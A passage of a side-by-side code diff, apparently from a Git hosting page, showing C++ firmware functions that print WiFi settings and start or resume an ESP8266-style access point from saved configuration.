prnt(String(F("', SSID: '")));
|
prnt(String(F("', SSID: '")));
|
||||||
prnt(wifi_config_ssid);
|
prnt(wifi_config_ssid);
|
||||||
prnt(String(F("', password: '")));
|
prnt(String(F("', password: '")));
|
||||||
prnt(wifi_config_password);
|
prnt(wifi_config_password);
|
||||||
prnt(String(F("', channel: '")));
|
prnt(String(F("', channel: '")));
|
||||||
prnt(wifi_channel);
|
prnt(wifi_channel);
|
||||||
prnt(String(F("', hidden: ")));
|
prnt(String(F("', hidden: ")));
|
||||||
prnt(b2s(wifi_config_hidden));
|
prnt(b2s(wifi_config_hidden));
|
||||||
prnt(String(F(", captive-portal: ")));
|
prnt(String(F(", captive-portal: ")));
|
||||||
prntln(b2s(wifi_config_captivePortal));
|
prntln(b2s(wifi_config_captivePortal));
|
||||||
}
|
}
|
||||||
|
|
||||||
void startAP() {
|
void startAP() {
|
||||||
startAP(wifi_config_path.c_str(), wifi_config_ssid.c_str(),
|
startAP(wifi_config_path.c_str(), wifi_config_ssid.c_str(),
|
||||||
wifi_config_password.c_str(), wifi_channel, wifi_config_hidden, wifi_config_captivePortal);
|
wifi_config_password.c_str(), wifi_channel, wifi_config_hidden, wifi_config_captivePortal);
|
||||||
}
|
}
|
||||||
|
|
||||||
void startAP(String path) {
|
void startAP(String path) {
|
||||||
wifi_config_path = path;
|
wifi_config_path = path;
|
||||||
startAP();
|
startAP();
|
||||||
}
|
}
|
||||||
|
|
||||||
void loadWifiConfigDefaults() {
|
void loadWifiConfigDefaults() {
|
||||||
wifi_config_hidden = settings.getHidden();
|
wifi_config_hidden = settings.getHidden();
|
||||||
wifi_config_ssid = settings.getSSID();
|
wifi_config_ssid = settings.getSSID();
|
||||||
wifi_config_password = settings.getPassword();
|
wifi_config_password = settings.getPassword();
|
||||||
wifi_config_captivePortal = settings.getCaptivePortal();
|
wifi_config_captivePortal = settings.getCaptivePortal();
|
||||||
wifi_config_path = str(W_WEBINTERFACE);
|
wifi_config_path = str(W_WEBINTERFACE);
|
||||||
}
|
}
|
||||||
|
|
||||||
void resumeAP() {
|
void resumeAP() {
|
||||||
if (wifiMode != WIFI_MODE_AP) {
|
if (wifiMode != WIFI_MODE_AP) {
|
||||||
wifiMode = WIFI_MODE_AP;
|
wifiMode = WIFI_MODE_AP;
|
||||||
wifi_promiscuous_enable(0);
|
wifi_promiscuous_enable(0);
|
||||||
WiFi.softAPConfig(apIP, apIP, netMsk);
|
WiFi.softAPConfig(apIP, apIP, netMsk);
|
||||||
WiFi.softAP(wifi_config_ssid.c_str(), wifi_config_password.c_str(), wifi_channel, wifi_config_hidden);
|
WiFi.softAP(wifi_config_ssid.c_str(), wifi_config_password.c_str(), wifi_channel, wifi_config_hidden);
|
||||||
prntln(W_STARTED_AP);
|
prntln(W_STARTED_AP);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
#endif // ifndef WifiManager_h
|
#endif // ifndef WifiManager_h
|
||||||
Reference in New Issue
Block a user